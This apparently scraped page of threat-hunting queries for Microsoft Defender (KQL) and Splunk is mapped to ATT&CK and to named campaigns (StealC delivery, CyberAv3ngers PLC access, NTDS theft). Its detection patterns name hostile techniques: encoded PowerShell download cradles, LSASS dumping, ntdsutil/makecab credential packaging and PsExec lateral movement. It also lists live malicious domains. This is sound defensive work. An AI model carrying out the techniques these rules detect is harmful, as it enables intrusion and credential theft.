| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("") or RemoteUrl has_any ("iranforward.org", "trumpvsirancoin.xyz", "emiratescryptobank.com", "emiratesinvestunion.com", "traz.top", "emirates-post.racunari-bl.com", "dubai-polices.ae-finesquery.com", "alpha.filehost36.sbs", "hyperfilevault1.xyz", "www.shirideitch.com")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("iranforward.org", "trumpvsirancoin.xyz", "emiratescryptobank.com", "emiratesinvestunion.com", "traz.top", "emirates-post.racunari-bl.com", "dubai-polices.ae-finesquery.com", "alpha.filehost36.sbs", "hyperfilevault1.xyz", "www.shirideitch.com")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("iranforward.org", "trumpvsirancoin.xyz", "emiratescryptobank.com", "emiratesinvestunion.com", "traz.top", "emirates-post.racunari-bl.com", "dubai-polices.ae-finesquery.com", "alpha.filehost36.sbs", "hyperfilevault1.xyz", "www.shirideitch.com")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
[LLM] CyberAv3ngers (CL-STA-1128) inbound access to internet-facing Rockwell/Allen-Bradley PLCs via Studio 5000ExploitationMedium
Hunts for Iranian IRGC-CEC-linked CyberAv3ngers/Storm-0784/Bauxite activity targeting CompactLogix and Micro850 PLCs. Looks for inbound external connections to PLC management ports (EtherNet/IP 44818, 2222; S7 102; Modbus 502) and for Rockwell engineering software (Studio 5000 / RSLogix5000 / FactoryTalk / RSLinx) executing from hosts that are not part of the OT engineering segment, which mirrors the attacker TTP of installing FactoryTalk on VPS infrastructure to issue legitimate-looking connections.
Rationale: Article specifically names CL-STA-1128 / Cyber Av3ngers using FactoryTalk on VPS infrastructure to interact with Rockwell/Allen-Bradley PLCs. CISA AA26-097A (cross-checked) confirms Studio 5000 Logix Designer abuse on TCP/44818, 2222, 102, 502, 22 against CompactLogix and Micro850 — the rule keys on those exact ports/processes appearing outside the engineering zone.
Cross-checked against:
• https://www.cisa.gov/news-events/cybersecurity-advisories/aa26-097a
• https://www.tenable.com/blog/what-to-know-about-cyberav3ngers-the-irgc-linked-group-targeting-critical-infrastructure
• https://industrialcyber.co/cisa/ongoing-cyberattacks-targeting-internet-connected-plcs-disrupt-us-critical-infrastructure-agencies-warn/
ATT&CKT0883T0886T0836T1133
Data sourcesNetwork_Traffic.All_TrafficEndpoint.Processes
let plc_ports = dynamic([44818,2222,102,502,22]);
let rockwell_procs = dynamic(["RSLogix5000.exe","Studio 5000 Logix Designer.exe","RSLinx.exe","RsLinxClassic.exe","FTLinx.exe","FactoryTalkAdministrationConsole.exe","FactoryTalkView.exe"]);
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionSuccess")
| where RemotePort in (plc_ports) or LocalPort in (plc_ports)
| where not(ipv4_is_private(RemoteIP))
| project Timestamp, DeviceName, InitiatingProcessFileName, LocalIP, LocalPort, RemoteIP, RemotePort, ActionType
| union (
DeviceProcessEvents
| where FileName has_any (rockwell_procs) or ProcessCommandLine has_any ("Studio 5000","FactoryTalk","RSLinx","Logix Designer")
| where DeviceName !startswith "OT-" and DeviceName !startswith "ENG-" and DeviceName !startswith "PLC-"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine
)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(All_Traffic.src) as src values(All_Traffic.dest) as dest values(All_Traffic.dest_port) as dest_port from datamodel=Network_Traffic where All_Traffic.dest_port IN (44818,2222,102,502,22) AND All_Traffic.src_category!="ot_engineering" AND All_Traffic.dest_category="ot_plc" by All_Traffic.src All_Traffic.dest All_Traffic.dest_port All_Traffic.action All_Traffic.transport | `drop_dm_object_name(All_Traffic)` | append [| tstats summariesonly=t count from datamodel=Endpoint.Processes where Processes.process_name IN ("RSLogix5000.exe","Studio 5000 Logix Designer.exe","RSLinx.exe","RsLinxClassic.exe","FTLinx.exe","FactoryTalk*.exe") AND NOT Processes.dest_category="ot_engineering" by Processes.dest Processes.user Processes.process_name Processes.process | `drop_dm_object_name(Processes)`] | convert ctime(firstTime) ctime(lastTime)
[LLM] StealC delivery from numbered file-host SBS/XYZ infrastructure with password-protected ZIPDeliveryHigh
Detects the StealC distribution chain Unit 42 attributes to this campaign: a JavaScript redirect drops the victim onto file-host pages such as alpha.filehost36.sbs or hyperfilevault1.xyz that serve a password-protected ZIP. The numbered-increment domain pattern (filehostNN.sbs / hyperfilevaultNN.xyz) is the high-fidelity fingerprint, and pairing the network hit with a same-host ZIP write shortens triage time.
Rationale: Article names alpha.filehost36.sbs and hyperfilevault1.xyz specifically and calls out the numbered-increment evasion pattern across identical TLDs delivering StealC inside a password-protected ZIP. Pinning to the exact hosts plus the numeric-suffix regex keeps FPs near zero, and the 5-minute join with a Downloads ZIP write cleanly captures the delivery moment.
Cross-checked against:
• https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/
• https://foresiet.com/blog/stealc-infostealer-operations-and-threat-landscape/
ATT&CKT1566.002T1204.001T1027.002T1027.013
Data sourcesWebEndpoint.FilesystemNetwork_Resolution
let badHosts = dynamic(["alpha.filehost36.sbs","hyperfilevault1.xyz"]);
let net = DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteUrl has_any (badHosts)
or RemoteUrl matches regex @"(?i)([a-z0-9-]+\.)?filehost\d+\.sbs"
or RemoteUrl matches regex @"(?i)hyperfilevault\d+\.xyz"
| project NetTime=Timestamp, DeviceId, DeviceName, InitiatingProcessFileName, RemoteUrl, RemoteIP;
let zips = DeviceFileEvents
| where Timestamp > ago(7d)
| where ActionType == "FileCreated"
| where FileName endswith ".zip"
| where FolderPath has @"\Downloads\" or FolderPath has "/Downloads/"
| project ZipTime=Timestamp, DeviceId, FileName, FolderPath, InitiatingProcessFileName, SHA256;
net | join kind=inner zips on DeviceId
| where ZipTime between (NetTime .. NetTime + 5m)
| project NetTime, ZipTime, DeviceName, RemoteUrl, RemoteIP, FileName, FolderPath, SHA256, InitiatingProcessFileName
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.url) as urls values(Web.http_user_agent) as ua from datamodel=Web where (Web.dest IN ("alpha.filehost36.sbs","hyperfilevault1.xyz") OR match(Web.dest,"^([a-z0-9-]+\.)?filehost\d+\.sbs$") OR match(Web.dest,"^hyperfilevault\d+\.xyz$")) by Web.src Web.user Web.dest | `drop_dm_object_name(Web)` | join type=inner src [| tstats summariesonly=t count from datamodel=Endpoint.Filesystem where Filesystem.file_name="*.zip" AND Filesystem.file_path IN ("*\\Downloads\\*","*/Downloads/*") by Filesystem.dest Filesystem.file_name Filesystem.file_path Filesystem.process_guid | rename Filesystem.dest as src | `drop_dm_object_name(Filesystem)`] | convert ctime(firstTime) ctime(lastTime)
Hunts users browsing to the conflict-themed scam infrastructure called out by Unit 42: the cdn-cgi/phish-bypass evasion path on traz[.]top, the payment-system/card-process?amount= flow on dubai-polices[.]ae-finesquery[.]com, and the named donation/crypto/banking impersonation domains. The URL paths are unique enough to alert on directly.
Rationale: Article calls out the cdn-cgi/phish-bypass path on traz.top and the payment-system/card-process?amount=125 path on dubai-polices.ae-finesquery.com as distinctive operator artefacts, plus a closed list of named scam/donation domains. Both paths are atypical enough that any hit warrants alerting; the broader domain list catches click-through from email or smishing lures.
Cross-checked against:
• https://unit42.paloaltonetworks.com/iranian-cyberattacks-2026/
ATT&CKT1566.002T1656T1583.001
Data sourcesWebNetwork_Resolution
let badDomains = dynamic(["traz.top","dubai-polices.ae-finesquery.com","emirates-post.racunari-bl.com","iranforward.org","trumpvsirancoin.xyz","emiratescryptobank.com","emiratesinvestunion.com","alpha.filehost36.sbs","hyperfilevault1.xyz"]);
let badPaths = dynamic(["cdn-cgi/phish-bypass","payment-system/card-process?amount="]);
DeviceNetworkEvents
| where Timestamp > ago(14d)
| where RemoteUrl has_any (badDomains) or RemoteUrl has_any (badPaths)
| project Timestamp, DeviceName, AccountName=InitiatingProcessAccountName, InitiatingProcessFileName, RemoteUrl, RemoteIP, RemotePort, ActionType
| union (
UrlClickEvents
| where Timestamp > ago(14d)
| where Url has_any (badDomains) or Url has_any (badPaths)
| project Timestamp, AccountUpn, Url, ActionType, NetworkMessageId, ThreatTypes
)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.url) as urls values(Web.http_user_agent) as ua from datamodel=Web where (Web.url="*cdn-cgi/phish-bypass*" OR Web.url="*payment-system/card-process?amount=*" OR Web.dest IN ("traz.top","dubai-polices.ae-finesquery.com","emirates-post.racunari-bl.com","iranforward.org","trumpvsirancoin.xyz","emiratescryptobank.com","emiratesinvestunion.com","alpha.filehost36.sbs","hyperfilevault1.xyz")) by Web.src Web.user Web.dest Web.http_method Web.status | `drop_dm_object_name(Web)` | convert ctime(firstTime) ctime(lastTime)
2026-04-1712 use cases20 techniques6 kill-chain phases detected
Domain compromise accelerates fast. Predictive shielding slowed it down. This real-world attack shows how exposure-based containment stopped credential abuse and broke the threat actor's momentum. The post Containing a domain compromise: How predictive shielding shut down lateral movement appeared first on Microsoft Security Blog .
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Microsoft Teams external-tenant chat from unverified IT-helpdesk impersonator
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → PowerShell encoded / obfuscated command · Article-specific behavioural hunt — Containing a domain compromise: How predictive shielding shut down lateral movem
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard · Scheduled task created with suspicious image / encoded args · [LLM] Tomcat (java.exe) parent spawning PowerShell Invoke-Mimikatz
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → LSASS process access / dump (credential theft) · Remote service execution — PsExec / SMB lateral movement · Ransomware-style mass file rename / extension change · [LLM] NTDS snapshot via remote scheduled task with makecab packaging on a Domain Controller · [LLM] Exchange ApplicationImpersonation enumeration followed by Add-MailboxPermission FullAccess from w3wp
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Microsoft Teams external-tenant chat from unverified IT-helpdesk impersonatorDeliveryHigh
External Teams chat where displayName contains 'helpdesk' or 'IT support' — common 2024+ vishing pattern (Storm-1811, Black Basta, UNC6692). No CIM data model maps to Teams chats; uses raw O365 audit logs.
ATT&CKT1566.004T1566
Data sourcesCloudAppEvents
CloudAppEvents
| where Timestamp > ago(7d)
| where Application == "Microsoft Teams"
| where ActionType == "MessageSent"
| where RawEventData has "ExternalParticipants"
| extend SenderDisplayName = tostring(parse_json(RawEventData).SenderDisplayName)
| where SenderDisplayName matches regex @"(?i)(help.?desk|it.?support|service.?desk|tech.?support|admin)"
| project Timestamp, AccountDisplayName, IPAddress, ActivityType, SenderDisplayName, RawEventData
`o365_management_activity`
Workload=MicrosoftTeams Operation=MessageSent
ExternalParticipants=*
| where match(SenderDisplayName, "(?i)(help.?desk|it.?support|service.?desk|tech.?support|admin)")
| stats count, earliest(_time) as firstTime, latest(_time) as lastTime
by SenderUpn, SenderDisplayName, RecipientUpn, ChatId
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Scheduled task created with suspicious image / encoded argsInstallationHigh
schtasks.exe /create or Microsoft-Windows-TaskScheduler EventID 4698 with LOLBin actions.
ATT&CKT1053.005
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "schtasks.exe"
| where ProcessCommandLine has "/create"
| where ProcessCommandLine has_any ("powershell","cmd.exe","rundll32","-enc","FromBase64","\Users\Public","\AppData\")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name="schtasks.exe" AND Processes.process="*/create*"
AND (Processes.process="*powershell*" OR Processes.process="*cmd.exe*"
OR Processes.process="*rundll32*" OR Processes.process="*-enc*"
OR Processes.process="*FromBase64*" OR Processes.process="*\Users\Public*"
OR Processes.process="*\AppData\*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
Article-specific behavioural hunt — Containing a domain compromise: How predictive shielding shut down lateral movemExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1053.005
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — Containing a domain compromise: How predictive shielding shut down lateral movem
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("makecab.exe", "atexec.py", "comsvcs.dll", "del.bat"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("makecab.exe", "atexec.py", "comsvcs.dll", "del.bat"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — Containing a domain compromise: How predictive shielding shut down lateral movem ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("makecab.exe","atexec.py","comsvcs.dll","del.bat"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("makecab.exe","atexec.py","comsvcs.dll","del.bat"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] NTDS snapshot via remote scheduled task with makecab packaging on a Domain ControllerActions on ObjectivesHigh
Hunts the article's first pivot tradecraft: a remotely-created scheduled task on a DC that runs ntdsutil snapshot/IFM workflow and then uses makecab.exe to package the NTDS output for offline credential extraction. Correlates schtasks/ntdsutil/makecab on the same host within a short window.
Rationale: The article explicitly names the chain: remote scheduled task on a DC -> 'NTDS snapshot activity' -> 'packaged the output using makecab.exe'. Combining schtasks /create with ntdsutil-snapshot keywords and makecab over NTDS paths on the same host is rarely benign outside DR drills. Cross-checked LOLBAS and detection.fyi rules for ntdsutil-to-suspicious-location patterns.
Cross-checked against:
• https://lolbas-project.github.io/lolbas/OtherMSBinaries/Ntdsutil/
• https://detection.fyi/sigmahq/sigma/windows/builtin/application/esent/win_esent_ntdsutil_abuse_susp_location/
• https://www.thehacker.recipes/ad/movement/credentials/dumping/ntds
ATT&CKT1003.003T1053.005
Data sourcesEndpoint.Processes
let window = 1h;
let ntds_actions = DeviceProcessEvents
| where Timestamp > ago(7d)
| where (FileName =~ "ntdsutil.exe" and ProcessCommandLine has_any ("snapshot","ifm","ac i ntds","create full"))
or (FileName =~ "makecab.exe" and ProcessCommandLine has_any ("ntds","\\NTDS\\",".dit"))
or (FileName =~ "schtasks.exe" and ProcessCommandLine has "/create" and ProcessCommandLine has_any ("ntdsutil","makecab","NTDS"));
ntds_actions
| summarize Tools=make_set(FileName), Cmds=make_set(ProcessCommandLine), Users=make_set(AccountName), Count=count() by DeviceName, bin(Timestamp, window)
| where array_length(Tools) >= 2 or (Tools has "ntdsutil.exe" and Tools has "makecab.exe")
| extend IsDomainController = DeviceName has_any ("dc","DC")
| order by Count desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name="ntdsutil.exe" AND Processes.process IN ("*snapshot*","*ifm*","*ac i ntds*","*create full*")) OR (Processes.process_name="makecab.exe" AND Processes.process IN ("*ntds*","*.dit*","*\\windows\\ntds*")) OR (Processes.process_name="schtasks.exe" AND Processes.process="*/create*" AND Processes.process IN ("*ntdsutil*","*makecab*ntds*","*\\ntds\\*")) by host Processes.user Processes.parent_process_name Processes.process_name Processes.process | `drop_dm_object_name(Processes)` | eventstats dc(process_name) as proc_diversity values(process_name) as proc_set by host | where proc_diversity>=2 OR (mvfind(proc_set,"ntdsutil.exe")>=0 AND mvfind(proc_set,"makecab.exe")>=0) | sort 0 - lastTime
[LLM] Exchange ApplicationImpersonation enumeration followed by Add-MailboxPermission FullAccess from w3wpActions on ObjectivesHigh
Hunts the article's Exchange tradecraft after a Godzilla web shell drop: PowerShell launched under w3wp.exe enumerating ApplicationImpersonation role holders via Get-ManagementRoleAssignment and then granting a delegated principal FullAccess via Add-MailboxPermission. This is the high-impact mailbox-takeover step, distinct from generic web-shell or Office-spawn detections.
